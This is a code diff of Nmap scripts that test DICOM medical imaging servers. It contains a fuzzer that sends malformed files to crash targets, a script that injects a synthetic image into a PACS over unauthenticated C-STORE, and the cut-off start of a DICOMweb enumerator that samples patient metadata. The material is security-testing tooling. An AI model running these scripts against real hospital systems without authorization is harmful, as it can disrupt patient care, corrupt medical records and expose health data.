for i, a in ipairs(results.anomalies) do
f:write(string.format(
' {"id":"%s","file":"%s","result":"%s",' ..
'"desc":"%s","elapsed_ms":%d}%s\n',
esc(a.id), esc(a.file), esc(a.result), esc(a.desc), a.elapsed or 0,
i < #results.anomalies and "," or ""))
end
f:write(' ],\n')
f:write(' "results": [\n')
for i, r in ipairs(all_case_results) do
f:write(string.format(
' {"id":"%s","category":"%s","file":"%s",' ..
'"result":"%s","status":"0x%04X",' ..
'"elapsed_ms":%d,"desc":"%s"}%s\n',
esc(r.id), esc(r.category), esc(r.file),
esc(r.result), r.status or 0xFFFF, r.elapsed or 0, esc(r.desc),
i < #all_case_results and "," or ""))
end
f:write(' ]\n}\n')
f:close()
end
-----------------------------------------------------------------------
-- MAIN ACTION
-----------------------------------------------------------------------
action = function(host, port)
math.randomseed(os.time())
local out = stdnse.output_table()
local function arg(n) return stdnse.get_script_args(n) end
local corpus_path = arg("dicom-store-fuzzer.corpus")
local called_ae = arg("dicom-store-fuzzer.called_ae") or "ORTHANC"
local calling_ae = arg("dicom-store-fuzzer.calling_ae") or "NMAP-FUZZ"
local categories = arg("dicom-store-fuzzer.categories") or "all"
local cases_filter = arg("dicom-store-fuzzer.cases") -- nil = all
local batch_size = tonumber(arg("dicom-store-fuzzer.batch")) or 1
local timeout_s = tonumber(arg("dicom-store-fuzzer.timeout")) or 10
local delay_ms = tonumber(arg("dicom-store-fuzzer.delay")) or 200
local fallback_sc = (arg("dicom-store-fuzzer.fallback_sc")
or "true"):lower() ~= "false"
local do_baseline = (arg("dicom-store-fuzzer.baseline")
or "true"):lower() ~= "false"
local max_pdu = tonumber(arg("dicom-store-fuzzer.max_pdu"))
or dicom.MAX_PDU_DEFAULT
local resume_from = arg("dicom-store-fuzzer.resume")
local output_lvl = arg("dicom-store-fuzzer.output") or "summary"
local health_int = tonumber(arg("dicom-store-fuzzer.health_interval")) or 10
local results_file = arg("dicom-store-fuzzer.results_file")
or string.format("/tmp/dicom-store-fuzzer-%s.json",
host.ip or "unknown")
local verbose = (output_lvl == "verbose" or output_lvl == "debug")
local dbg = (output_lvl == "debug")
if not corpus_path then
out.Error = "dicom-store-fuzzer.corpus is required. Run" ..
" dicom_fuzzgen.py first."
return out
end
out["Target AE"] = called_ae
out["Calling AE"] = calling_ae
-- == Load manifest ==
local all_cases, baseline_rel = load_manifest(corpus_path)
if not all_cases then
out.Error = "Failed to load manifest: " .. tostring(baseline_rel)
return out
end
-- == Filter by category ==
local cat_filter = {}
if categories:lower() ~= "all" then
for c in categories:gmatch("[^,]+") do
cat_filter[c:lower():gsub("%s+", "")] = true
end
end
-- == Filter by case ID ==
local case_id_filter = {}
if cases_filter then
for c in cases_filter:gmatch("[^,]+") do
case_id_filter[c:upper():gsub("%s+", "")] = true
end
end
-- == Apply filters ==
local queued = {}
local resuming = (resume_from ~= nil)
for _, tc in ipairs(all_cases) do
if next(cat_filter) ~= nil and not cat_filter[tc.category:lower()] then
goto continue_filter
end
if next(case_id_filter) ~= nil and not case_id_filter[tc.id:upper()] then
goto continue_filter
end
if resuming then
if tc.id == resume_from then resuming = false end
if resuming then goto continue_filter end
end
queued[#queued + 1] = tc
::continue_filter::
end
out.Corpus = string.format("%s (%d cases queued)", corpus_path, #queued)
-- == Baseline check ==
if do_baseline then
local alive = health_check(host, port, corpus_path, baseline_rel,
called_ae, calling_ae, max_pdu, timeout_s)
if not alive then
out.Baseline = "FAILED - target does not accept C-STORE or AE Title" ..
" is wrong"
out.Warning = "Aborting: baseline C-STORE failed. Check called_ae and" ..
" target."
return out
end
out.Baseline = "SUCCESS"
end
-- == Prepare result tracking ==
local res = new_results()
local all_case_res = {}
local halted = false
local msg_id = 1
local start_time = os.date("!%Y-%m-%dT%H:%M:%SZ")
local consecutive_fails = 0
-- == Per-case or batched association ==
local sock_open = false
local cur_sock = nil
local cur_pctx_id = nil
local cur_max_pdu = max_pdu
local cases_in_batch = 0
local function close_session()
if cur_sock then
pcall(dicom.do_release, cur_sock, 3)
cur_sock = nil
end
sock_open = false
cases_in_batch = 0
end
local function open_session(sop_class, file_ts_uid)
close_session()
local sop_list = {sop_class}
if fallback_sc and sop_class ~= dicom.SOP_CLASS.SECONDARY_CAPTURE then
sop_list[#sop_list + 1] = dicom.SOP_CLASS.SECONDARY_CAPTURE
end
-- Propose the file's native transfer syntax alongside standard fallbacks.
-- This ensures files encoded in JPEG, JPEG-LS, RLE, etc. can be sent
-- with a matching negotiated TS instead of forcing Implicit/Explicit VR
-- LE.
local transfer_uids = nil
if file_ts_uid and file_ts_uid ~= "" then
local seen = {}
transfer_uids = {}
for _, ts in ipairs({file_ts_uid, dicom.TRANSFER_SYNTAX.EXPLICIT_LE,
dicom.TRANSFER_SYNTAX.IMPLICIT_LE}) do
if not seen[ts] then
seen[ts] = true
transfer_uids[#transfer_uids + 1] = ts
end
end
stdnse.debug2("Proposing transfer syntaxes: %s",
table.concat(transfer_uids, ", "))
end
local ok, sock_or_err, pctxs, srv_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, sop_list, max_pdu, timeout_s,
transfer_uids)
if not ok then
return false, sock_or_err
end
-- Pick accepted presentation context (prefers lowest pctx_id = primary
-- SOP)
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
pcall(dicom.do_release, sock_or_err, 3)
return false, "No presentation context accepted"
end
cur_sock = sock_or_err
cur_pctx_id = pctx_id
cur_max_pdu = math.min(srv_max_pdu or max_pdu, max_pdu)
sock_open = true
cases_in_batch = 0
consecutive_fails = 0 -- association succeeded, target is alive
return true, nil
end
-- == Main fuzzing loop ==
local total_run = 0
local since_health = 0
for _, tc in ipairs(queued) do
if halted then break end
total_run = total_run + 1
since_health = since_health + 1
-- Periodic liveness check (every health_int cases): a malformed case may
-- crash or hang the target without producing an immediate error on the
-- case that triggered it. Re-send the known-good baseline on a fresh
-- association to confirm the target still processes valid C-STORE; if it
-- does not, record a crash and halt so the offending region is preserved.
if health_int > 0 and baseline_rel and since_health >= health_int then
since_health = 0
close_session()
local alive = health_check(host, port, corpus_path, baseline_rel,
called_ae, calling_ae, max_pdu, timeout_s)
if not alive then
stdnse.verbose1("CRITICAL: health check failed after case %s --" ..
" target may have crashed", tc.id)
res.crashes[#res.crashes + 1] = {
id=tc.id, file=tc.filename,
result="HEALTH_CHECK_FAILED",
desc="Baseline health check failed after " .. tc.id}
halted = true
break
end
end
stdnse.debug2("Case %s: %s", tc.id, tc.description)
-- Read DCM file
local filepath = corpus_path:gsub("[/\\]+$", "") .. "/" .. tc.filename
local dataset_bytes, sop_class, sop_instance,
file_ts_uid = dicom.read_dcm_dataset(filepath)
if not dataset_bytes then
record(res, "FAILURE", tc)
all_case_res[#all_case_res + 1] = {
id=tc.id, category=tc.category, file=tc.filename,
result="FAILURE(cannot read file)", status=0xFFFF, elapsed=0,
desc=tc.description}
goto next_case
end
sop_class = (sop_class and #sop_class > 0) and sop_class
or dicom.SOP_CLASS.CT_IMAGE_STORAGE
sop_instance = (sop_instance and #sop_instance > 0) and sop_instance
or dicom.generate_fake_uid()
-- Open/reuse association (propose file's native transfer syntax)
if not sock_open or cases_in_batch >= batch_size then
local ok, err = open_session(sop_class, file_ts_uid)
if not ok then
local fail_result = err or "CONN_REFUSED"
if type(fail_result) == "string" and fail_result:find("REJECT") then
record(res, "REJECT", tc)
else
record(res, "CONN_REFUSED", tc)
consecutive_fails = consecutive_fails + 1
end
if verbose then
stdnse.verbose1("[%s] %s: %s", tostring(fail_result), tc.id,
tc.description)
end
all_case_res[#all_case_res + 1] = {
id=tc.id, category=tc.category, file=tc.filename,
result=tostring(fail_result), status=0xFFFF, elapsed=0,
desc=tc.description}
-- Only halt if target is truly unreachable
if consecutive_fails >= 5 then
stdnse.verbose1("CRITICAL: 5 consecutive connection failures --" ..
" target may have crashed")
res.crashes[#res.crashes + 1] = {
id=tc.id, file=tc.filename,
result="CONN_REFUSED(5 consecutive)",
desc="Target unresponsive after " .. tc.id}
halted = true
end
goto next_case
end
end
-- Run C-STORE
do
local result, status_code, error_comment, elapsed =
do_cstore(cur_sock, cur_pctx_id, sop_class, sop_instance,
dataset_bytes, msg_id, cur_max_pdu, timeout_s)
msg_id = msg_id + 1
cases_in_batch = cases_in_batch + 1
record(res, result, tc)
-- Anomaly detection
local is_anom = false
local anom_type = ""
if result == "TIMEOUT" or result == "RESET"
or result == "CONN_REFUSED" then
is_anom = true
anom_type = "CRASH/HANG"
close_session()
-- TIMEOUT is normal for fuzz cases (server may just be slow to parse
-- malformed data). Only count RESET and CONN_REFUSED as hard
-- failures.
if result ~= "TIMEOUT" then
consecutive_fails = consecutive_fails + 1
end
-- Only halt if target is actually unreachable (not just slow)
if consecutive_fails >= 5 then
stdnse.verbose1("CRITICAL: 5 consecutive hard failures after %s",
tc.id)
res.crashes[#res.crashes + 1] = {
id=tc.id, file=tc.filename, result=result,
desc="5 consecutive hard failures -- target likely crashed"}
halted = true
end
elseif result == "ABORT" then
is_anom = true
anom_type = "ABORT"
close_session()
elseif result:find("CORRUPT_RSP") then
is_anom = true
anom_type = "CORRUPT_RSP"
close_session()
elseif result == "SUCCESS" and (tc.severity == "high") then
is_anom = true
anom_type = "ACCEPT(HIGH_SEV)"
else
consecutive_fails = 0
end
if is_anom then
local entry = {
id=tc.id, file=tc.filename,
result=result .. (error_comment ~= "" and (":" .. error_comment)
or ""),
desc=tc.description, elapsed=elapsed}
if is_critical(result) then
res.crashes[#res.crashes + 1] = entry
else
res.anomalies[#res.anomalies + 1] = entry
end
if verbose then
stdnse.verbose1("[%s] %s: %s - %s (%dms)",
anom_type, tc.id, tc.description, result, elapsed or 0)
end
elseif dbg then
stdnse.debug1("[%s] %s (%dms)", result, tc.id, elapsed or 0)
end
all_case_res[#all_case_res + 1] = {
id=tc.id, category=tc.category, file=tc.filename,
result=result, status=status_code, elapsed=elapsed,
desc=tc.description}
end
-- Inter-case delay
if delay_ms > 0 and not halted then
stdnse.sleep(delay_ms / 1000.0)
end
::next_case::
end
close_session()
-- == Output ==
out["Cases Sent"] = string.format("%d / %d", total_run, #queued)
out["Results"] = string.format(
"SUCCESS=%d FAILURE=%d TIMEOUT=%d RESET=%d REJECT=%d ABORT=%d CORRUPT=%d",
res.SUCCESS, res.FAILURE, res.TIMEOUT, res.RESET,
res.REJECT, res.ABORT, res.CORRUPT_RSP)
if #res.crashes > 0 or #res.anomalies > 0 then
local findings = {}
for _, c in ipairs(res.crashes) do
findings[#findings + 1] = string.format("[CRASH] %s %s\n " ..
" %s",
c.id, c.file, c.result)
end
for _, a in ipairs(res.anomalies) do
findings[#findings + 1] = string.format("[%s] %s %s\n %s",
a.result:match("^(%S+)") or "ANOMALY", a.id, a.file, a.desc)
end
out["CRITICAL FINDINGS"] = findings
else
out["Result"] = "No anomalies detected - target appears robust for" ..
" tested cases"
end
-- Write JSON results
write_results_json(results_file, host.ip or "unknown", port.number,
called_ae, corpus_path, res, all_case_res, start_time)
out["Results file"] = results_file
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
port.version.product = "DICOM SCP"
nmap.set_port_version(host, port, "hardmatched")
return out
end

View file

@ -0,0 +1,279 @@
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local math = require "math"
local os = require "os"
local dicom = require "dicom"
description = [[
Tests whether a DICOM archive accepts an unauthenticated C-STORE -- i.e.
whether any client that can associate can write a new image (SOP Instance)
into the PACS/VNA.
Most DICOM Storage SCPs authorise storage by AE Title alone, or not at all, so
an attacker who can reach the DIMSE port can often inject arbitrary instances:
a decoy study attached to a real patient, a tampered image, or a payload that
exercises a downstream viewer. This is the native-protocol counterpart to
dicomweb-enum's STOW-RS surface and the DICOM analogue of hl7-inject.
The script negotiates a Storage presentation context (as an SCU), builds one
clearly-synthetic Secondary Capture image -- an obviously fake patient
(ZZZTEST), a "SAFE TO DELETE" study description, a tiny 4x4 black frame, and
UIDs under a rootless 2.25 arc -- and issues a single C-STORE. It reports
whether the archive accepted the store (C-STORE-RSP 0x0000 / a warning status),
refused it, or refused the association outright, and prints the UIDs of the
stored instance so an operator can locate and delete it.
This is a HIGHLY INTRUSIVE, WRITING test: on success it creates a real (though
clearly-marked) object in the target archive. Run it only against systems you
are explicitly authorised to test, and clean up the injected instance
afterwards using the UIDs it reports.
]]
---
-- @usage
-- nmap -p104,4242,11112 --script dicom-store-inject <target>
--
-- @usage
-- nmap -p4242 --script dicom-store-inject \
-- --script-args 'dicom-store-inject.called_ae=ORTHANC' <target>
--
-- @usage
-- nmap -p2762 --script dicom-store-inject \
-- --script-args 'dicom.tls=true' <target>
--
-- @args dicom-store-inject.called_ae Called AE Title. Default: "ANY-SCP"
-- @args dicom-store-inject.calling_ae Calling AE Title. Default: "NMAP-STORE"
-- @args dicom-store-inject.patient_id PatientID (0010,0020) to write.
-- Default: "NMAP-STOREINJECT"
-- @args dicom-store-inject.patient_name PatientName (0010,0010) to write.
-- Default: "ZZZTEST^NMAP^STORE^INJECT"
-- @args dicom-store-inject.sop_class Storage SOP Class UID to propose.
-- Default: Secondary Capture
-- @args dicom-store-inject.uid_root Root for generated UIDs.
-- Default: "2.25" (rootless UUID arc)
-- @args dicom-store-inject.timeout Association/response timeout (seconds).
-- Default: 10
-- @args dicom-store-inject.max_pdu Max PDU length. Default: 16384
-- @args dicom.tls Force transport for the DICOM suite:
-- "true" (TLS), "false" (plaintext),
-- unset = plaintext.
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-store-inject:
-- | Association: accepted
-- | Transfer syntax: 1.2.840.10008.1.2.1 (Explicit VR Little Endian)
-- | C-STORE status: 0x0000 (Success)
-- | Result: ACCEPTED - the archive stored the injected instance
-- | Injected instance (delete these to clean up):
-- | SOP Instance UID: 2.25.184467...3.1.1.1
-- | Study Instance UID: 2.25.184467...3.1
-- | PatientID: NMAP-STOREINJECT
-- | PatientName: ZZZTEST^NMAP^STORE^INJECT
-- | VULNERABILITY: Unauthenticated DICOM C-STORE accepted
-- |_ An attacker who can associate can write arbitrary images
--
-- @xmloutput
-- <elem key="association">accepted</elem>
-- <elem key="cstore_status">0x0000</elem>
-- <elem key="result">ACCEPTED</elem>
-- <elem key="sop_instance_uid">2.25.184467...3.1.1.1</elem>
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
local function arg(name, default)
return stdnse.get_script_args("dicom-store-inject." .. name) or default
end
--- Generate a set of related, clearly-synthetic UIDs under one random base.
-- @param root string UID root (e.g. "2.25")
-- @return study_uid, series_uid, instance_uid
local function make_uids(root)
math.randomseed(os.time() + nmap.clock_ms())
-- A large pseudo-random component keeps collisions with real UIDs unlikely
-- while staying obviously machine-generated.
local base = string.format("%s.%d%04d%04d", root,
os.time() % 100000000, math.random(0, 9999), math.random(0, 9999))
return base .. ".1", base .. ".1.1", base .. ".1.1.1"
end
--- Build the synthetic Secondary Capture dataset.
-- @return list of {group, elem, vr, value} for dicom.encode_dataset
local function build_sc_dataset(o, sop_instance_uid, study_uid, series_uid)
local date = os.date("%Y%m%d")
local time = os.date("%H%M%S")
local marker = "NMAP DICOM-STORE-INJECT TEST - SAFE TO DELETE"
-- 4x4, 8-bit MONOCHROME2, single black frame (16 bytes of pixel data).
local pixels = string.rep("\0", 16)
return {
{group = 0x0008, elem = 0x0016, vr = "UI",
value = dicom.SOP_CLASS.SECONDARY_CAPTURE},
{group = 0x0008, elem = 0x0018, vr = "UI", value = sop_instance_uid},
{group = 0x0008, elem = 0x0020, vr = "DA", value = date},
{group = 0x0008, elem = 0x0030, vr = "TM", value = time},
{group = 0x0008, elem = 0x0060, vr = "CS", value = "OT"},
{group = 0x0008, elem = 0x0064, vr = "CS", value = "WSD"},
{group = 0x0008, elem = 0x0070, vr = "LO", value = "NMAP"},
{group = 0x0008, elem = 0x1030, vr = "LO", value = marker},
{group = 0x0008, elem = 0x103E, vr = "LO", value = marker},
{group = 0x0010, elem = 0x0010, vr = "PN", value = o.patient_name},
{group = 0x0010, elem = 0x0020, vr = "LO", value = o.patient_id},
{group = 0x0020, elem = 0x000D, vr = "UI", value = study_uid},
{group = 0x0020, elem = 0x000E, vr = "UI", value = series_uid},
{group = 0x0020, elem = 0x0011, vr = "IS", value = "1"},
{group = 0x0020, elem = 0x0013, vr = "IS", value = "1"},
{group = 0x0028, elem = 0x0002, vr = "US", value = 1},
{group = 0x0028, elem = 0x0004, vr = "CS", value = "MONOCHROME2"},
{group = 0x0028, elem = 0x0010, vr = "US", value = 4},
{group = 0x0028, elem = 0x0011, vr = "US", value = 4},
{group = 0x0028, elem = 0x0100, vr = "US", value = 8},
{group = 0x0028, elem = 0x0101, vr = "US", value = 8},
{group = 0x0028, elem = 0x0102, vr = "US", value = 7},
{group = 0x0028, elem = 0x0103, vr = "US", value = 0},
{group = 0x7FE0, elem = 0x0010, vr = "OB", value = pixels},
}
end
local TS_NAMES = {
["1.2.840.10008.1.2"] = "Implicit VR Little Endian",
["1.2.840.10008.1.2.1"] = "Explicit VR Little Endian",
}
--- Classify a C-STORE-RSP status code.
-- @return "accepted", "refused" or "failed", and a human label
local function classify_status(code)
if code == 0x0000 then
return "accepted", "Success"
end
local hi = code & 0xF000
if hi == 0xB000 then
-- Warning: coercion / elements discarded / data set mismatch. The instance
-- is still stored.
return "accepted", string.format("Warning 0x%04X (stored with warning)",
code)
end
if (code & 0xFF00) == 0xA700 then
return "refused", "Refused: Out of Resources"
end
if (code & 0xFF00) == 0xA900 then
return "refused", "Error: Data Set does not match SOP Class"
end
if hi == 0xC000 then
return "failed", "Error: Cannot understand / Processing failure"
end
return "failed", string.format("Unknown status 0x%04X", code)
end
action = function(host, port)
local o = {
called_ae = arg("called_ae", "ANY-SCP"),
calling_ae = arg("calling_ae", "NMAP-STORE"),
patient_id = arg("patient_id", "NMAP-STOREINJECT"),
patient_name = arg("patient_name", "ZZZTEST^NMAP^STORE^INJECT"),
}
local timeout_s = tonumber(arg("timeout", "10")) or 10
local max_pdu = tonumber(arg("max_pdu", "16384")) or 16384
local uid_root = arg("uid_root", "2.25")
local sop_class = arg("sop_class", dicom.SOP_CLASS.SECONDARY_CAPTURE)
local out = stdnse.output_table()
-- Propose the chosen storage class (plus Secondary Capture as a fallback) on
-- the standard uncompressed transfer syntaxes.
local sop_list = {sop_class}
if sop_class ~= dicom.SOP_CLASS.SECONDARY_CAPTURE then
sop_list[#sop_list + 1] = dicom.SOP_CLASS.SECONDARY_CAPTURE
end
local transfer_uids = {
dicom.TRANSFER_SYNTAX.EXPLICIT_LE,
dicom.TRANSFER_SYNTAX.IMPLICIT_LE,
}
local ok, sock, pctxs = dicom.do_associate(host, port, o.called_ae,
o.calling_ae, sop_list, max_pdu, timeout_s, transfer_uids)
if not ok then
out["Association"] = "refused (" .. tostring(sock) .. ")"
out["Result"] =
"Association refused - archive enforces association-level access control"
out["Note"] =
"The target rejected the association before any C-STORE was attempted"
return out
end
out["Association"] = "accepted"
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, timeout_s)
out["Result"] =
"No storage presentation context accepted - archive would not negotiate"
.. " a Storage SCP role for the proposed SOP class"
return out
end
local ts = pctxs[pctx_id].transfer_syntax or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
out["Transfer syntax"] = string.format("%s (%s)", ts,
TS_NAMES[ts] or "unknown")
-- Build and send the synthetic instance.
local study_uid, series_uid, instance_uid = make_uids(uid_root)
local tags = build_sc_dataset(o, instance_uid, study_uid, series_uid)
local ds_bytes = dicom.encode_dataset(tags, ts)
local cmd_bytes = dicom.build_cstore_rq(1, sop_class, instance_uid)
local sent = dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, max_pdu)
if not sent then
dicom.do_release(sock, timeout_s)
out["Result"] = "C-STORE send failed (connection error)"
return out
end
sock:set_timeout(timeout_s * 1000)
local pdu_type, cmd_elems, _, raw_or_err = dicom.recv_dimse(sock, timeout_s)
if not pdu_type then
dicom.do_release(sock, timeout_s)
out["Result"] = "No C-STORE-RSP received (" .. tostring(raw_or_err) .. ")"
return out
end
if pdu_type == dicom.PDU_CODES.ABORT then
out["Result"] = "Server sent A-ABORT in response to the C-STORE"
return out
end
local status_code = 0xFFFF
if cmd_elems and cmd_elems["0000,0900"] then
status_code = cmd_elems["0000,0900"].value
end
dicom.do_release(sock, timeout_s)
local verdict, label = classify_status(status_code)
out["C-STORE status"] = string.format("0x%04X (%s)", status_code, label)
if verdict == "accepted" then
out["Result"] = "ACCEPTED - the archive stored the injected instance"
out["Injected instance (delete these to clean up)"] = {
"SOP Instance UID: " .. instance_uid,
"Study Instance UID: " .. study_uid,
"Series Instance UID:" .. series_uid,
"PatientID: " .. o.patient_id,
"PatientName: " .. o.patient_name,
}
out["VULNERABILITY"] = "Unauthenticated DICOM C-STORE accepted"
out["Impact"] =
"An attacker who can associate can write arbitrary images to the archive"
nmap.set_port_version(host, port, "hardmatched")
elseif verdict == "refused" then
out["Result"] = "REFUSED - the archive declined to store the instance"
else
out["Result"] = "FAILED - " .. label
end
return out
end

497
scripts/dicom-web-enum.nse Normal file
View file

@ -0,0 +1,497 @@
local http = require "http"
local json = require "json"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local math = require "math"
description = [[
Discovers and enumerates DICOMweb services -- the HTTP/REST face of DICOM
(PS3.18): QIDO-RS (query), WADO-RS (retrieve) and STOW-RS (store).
Modern PACS, VNAs and cloud imaging archives (Orthanc, dcm4chee-arc, and the
cloud healthcare APIs) expose imaging over HTTP alongside, or instead of, the
classic DIMSE port. Nmap has rich DIMSE coverage (dicom-info, dicom-cfind-ls,
...) but nothing for the web tier, which is often where exposure actually
lives -- a QIDO-RS "/studies" endpoint reachable without authentication leaks
the same study- and patient-level metadata as an unauthenticated C-FIND, and
a STOW-RS "/studies" endpoint reachable without authentication is an
image-injection surface.
The script:
* probes a list of common DICOMweb roots (or a caller-supplied one) for a
QIDO-RS "/studies" endpoint;
* classifies the endpoint as open (returns application/dicom+json),
authentication-required (401/403) or absent (404);
* on an open endpoint, reports the study count and a sample of the
study-level metadata returned (patient name/ID, study date, description,
modalities) -- i.e. the PHI an unauthenticated client can read;
* checks WADO-RS retrieval (study metadata) and STOW-RS store-endpoint
presence, the latter via OPTIONS / an empty multipart probe that does NOT
create any object;
* flags unauthenticated QIDO/STOW access and PHI carried over plaintext
HTTP.
It is read-only: it issues GET, OPTIONS and (for STOW detection only) an empty
POST that cannot store an instance. It does not upload images or modify data.
The three DICOMweb transactions tested, and the resources they expose:
* QIDO-RS (Query based on ID for DICOM Objects, PS3.18 Section 10.6) -- the
"/studies", "/series" and "/instances" search resources. The study-level
reply is a DICOM+JSON array (PS3.18 Annex F) of attribute objects keyed by
8-hex-digit tag; it carries PatientName (0010,0010), PatientID (0010,0020),
StudyDate (0008,0020), StudyDescription (0008,1030), ModalitiesInStudy
(0008,0061) and the study UID (0020,000D).
* WADO-RS (Web Access to DICOM Objects by RESTful services, PS3.18 Section
10.4) -- "/studies/{uid}/metadata" and the bulk instance/frame retrieval
resources. Metadata retrievability without auth means the full images are
retrievable too.
* STOW-RS (Store Over the Web, PS3.18 Section 10.5) -- the "/studies" POST
resource, the HTTP equivalent of a C-STORE. An open STOW endpoint is an
unauthenticated image-write surface (see dicom-store-inject for the DIMSE
equivalent).
References:
* DICOM PS3.18, Web Services:
https://dicom.nema.org/medical/dicom/current/output/html/part18.html
* QIDO-RS (Search transaction): PS3.18 Section 10.6
* WADO-RS (Retrieve transaction): PS3.18 Section 10.4
* STOW-RS (Store transaction): PS3.18 Section 10.5
* DICOM JSON Model: PS3.18 Annex F
* Orthanc DICOMweb plugin:
https://orthanc.uclouvain.be/book/plugins/dicomweb.html
* dcm4chee-arc-light (DICOMweb archive):
https://github.com/dcm4che/dcm4chee-arc-light
]]
---
-- @usage
-- nmap -p 8042 --script dicom-web-enum <target>
--
-- @usage
-- nmap -p 443 --script dicom-web-enum \
-- --script-args 'dicom-web-enum.root=/dicom-web,dicom-web-enum.scheme=https'\
-- <target>
--
-- @usage
-- nmap -p 8042 --script dicom-web-enum \
-- --script-args 'dicom-web-enum.samples=5' <target>
--
-- @args dicom-web-enum.root DICOMweb base path to test (e.g. "/dicom-web").
-- If unset, a built-in candidate list is probed.
-- @args dicom-web-enum.scheme "http" or "https". Default: inferred from the
-- port (https for ssl/443/8443, else http, with a
-- fallback to the other scheme).
-- @args dicom-web-enum.samples Number of studies to sample from QIDO-RS for
-- metadata reporting. Default: 3. 0 disables
-- metadata sampling (endpoint detection only).
-- @args dicom-web-enum.timeout HTTP timeout in seconds. Default: 10.
--
-- @output
-- PORT STATE SERVICE
-- 8042/tcp open http
-- | dicom-web-enum:
-- | Base URL: http://10.0.0.5:8042/dicom-web
-- | Server: Orthanc 1.12.4
-- | Transport: HTTP (plaintext)
-- | QIDO-RS (query): OPEN - no authentication required
-- | Studies visible: 128
-- | Sample studies:
-- | DOE^JOHN | ID=PAT001 | 20240115 | CT CHEST | CT | series=4
-- | ROE^JANE | ID=PAT002 | 20240116 | MR BRAIN | MR | series=6
-- | WADO-RS (retrieve): OPEN - study metadata retrievable
-- | STOW-RS (store): OPEN - store endpoint accepts unauthenticated POST
-- | VULNERABILITY: Unauthenticated DICOMweb access exposes PHI and an
-- | image-injection (STOW-RS) surface
-- |_ PHI is served over plaintext HTTP (no TLS)
--
-- @xmloutput
-- <elem key="base_url">http://10.0.0.5:8042/dicom-web</elem>
-- <elem key="qido">OPEN</elem>
-- <elem key="wado">OPEN</elem>
-- <elem key="stow">OPEN</elem>
--
-- @see dicom-info.nse
-- @see dicom-cfind-ls.nse
-- @see dicom-store-inject.nse
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "safe"}
-- DICOMweb services are commonly co-located with the target's HTTP(S) service
-- (Orthanc's REST API defaults to 8042); fire on any HTTP service plus the
-- ports operators most often bind DICOMweb to.
portrule = function(host, port)
if shortport.http(host, port) then
return true
end
return shortport.port_or_service(
{8042, 8080, 8443, 4242}, {"http", "https"}, "tcp", "open")(host, port)
end
-- Candidate DICOMweb roots, ordered by how often each is seen in the wild.
local DEFAULT_ROOTS = {
"/dicom-web",
"/dicomweb",
"/wado-rs",
"/rs",
"/qido-rs",
"/dcm4chee-arc/aets/DCM4CHEE/rs",
"/pacs/rs",
"/api/dicomweb",
"",
}
-- Study-level DICOM tags reported for each sampled study.
local TAGS = {
patient_name = "00100010",
patient_id = "00100020",
study_date = "00080020",
study_desc = "00081030",
modalities = "00080061",
n_series = "00201206",
study_uid = "0020000D",
}
local function arg(name, default)
return stdnse.get_script_args("dicom-web-enum." .. name) or default
end
--- Extract the first Value of a DICOM+JSON attribute.
-- Handles PN attributes, whose value is an object with an Alphabetic key.
-- @param study table one QIDO-RS study object (tag -> attribute)
-- @param tag string 8-hex-digit tag key
-- @return string or nil
local function tag_value(study, tag)
local attr = study[tag]
if type(attr) ~= "table" then
return nil
end
local values = attr.Value
if type(values) ~= "table" or #values == 0 then
return nil
end
local v = values[1]
if type(v) == "table" then
-- Person Name: {Alphabetic="DOE^JOHN", Ideographic=..., Phonetic=...}
v = v.Alphabetic or v.Ideographic or v.Phonetic
end
if v == nil then
return nil
end
-- ModalitiesInStudy (CS) may carry several values.
if tag == TAGS.modalities and #values > 1 then
local mods = {}
for _, m in ipairs(values) do
mods[#mods + 1] = tostring(m)
end
return table.concat(mods, "/")
end
return tostring(v)
end
--- One-line summary of a sampled study.
local function study_line(study)
local parts = {
tag_value(study, TAGS.patient_name) or "(no name)",
"ID=" .. (tag_value(study, TAGS.patient_id) or "?"),
tag_value(study, TAGS.study_date) or "(no date)",
tag_value(study, TAGS.study_desc) or "(no description)",
tag_value(study, TAGS.modalities) or "?",
}
local n = tag_value(study, TAGS.n_series)
if n then
parts[#parts + 1] = "series=" .. n
end
return table.concat(parts, " | ")
end
--- Build option table for an HTTP request with the given Accept header.
local function opts(scheme, timeout_s, accept, extra)
local header = {}
if accept then
header["Accept"] = accept
end
if extra then
for k, v in pairs(extra) do
header[k] = v
end
end
return {
scheme = scheme,
header = header,
timeout = timeout_s * 1000,
no_cache = true,
redirect_ok = false,
}
end
--- Try QIDO-RS "/studies" under one root.
-- @return status one of "open", "auth", "absent", "error"
-- @return studies parsed JSON array (only for "open"), or a detail string
local function probe_qido(host, port, scheme, root, timeout_s, limit)
local path = root .. "/studies?limit=" .. tostring(math.max(limit, 1))
local o = opts(scheme, timeout_s, "application/dicom+json")
local r = http.get(host, port, path, o)
if not r or not r.status then
return "error", "no HTTP response"
end
if r.status == 401 or r.status == 403 then
return "auth", tostring(r.status)
end
if r.status == 200 and r.body then
local ct = (r.header and r.header["content-type"]) or ""
if ct:find("json", 1, true) or r.body:match("^%s*%[") then
local ok, parsed = json.parse(r.body)
if ok and type(parsed) == "table" then
return "open", parsed
end
end
return "absent", "200 but not DICOM+JSON"
end
return "absent", tostring(r.status)
end
--- Ask QIDO-RS for a study count (a bare /studies, no limit).
local function count_studies(host, port, scheme, root, timeout_s)
local o = opts(scheme, timeout_s, "application/dicom+json")
local r = http.get(host, port, root .. "/studies", o)
if r and r.status == 200 and r.body then
local ok, parsed = json.parse(r.body)
if ok and type(parsed) == "table" then
return #parsed
end
end
return nil
end
--- WADO-RS: is study metadata retrievable?
-- @return "open", "auth" or "absent"
local function probe_wado(host, port, scheme, root, study_uid, timeout_s)
if not study_uid then
return "unknown"
end
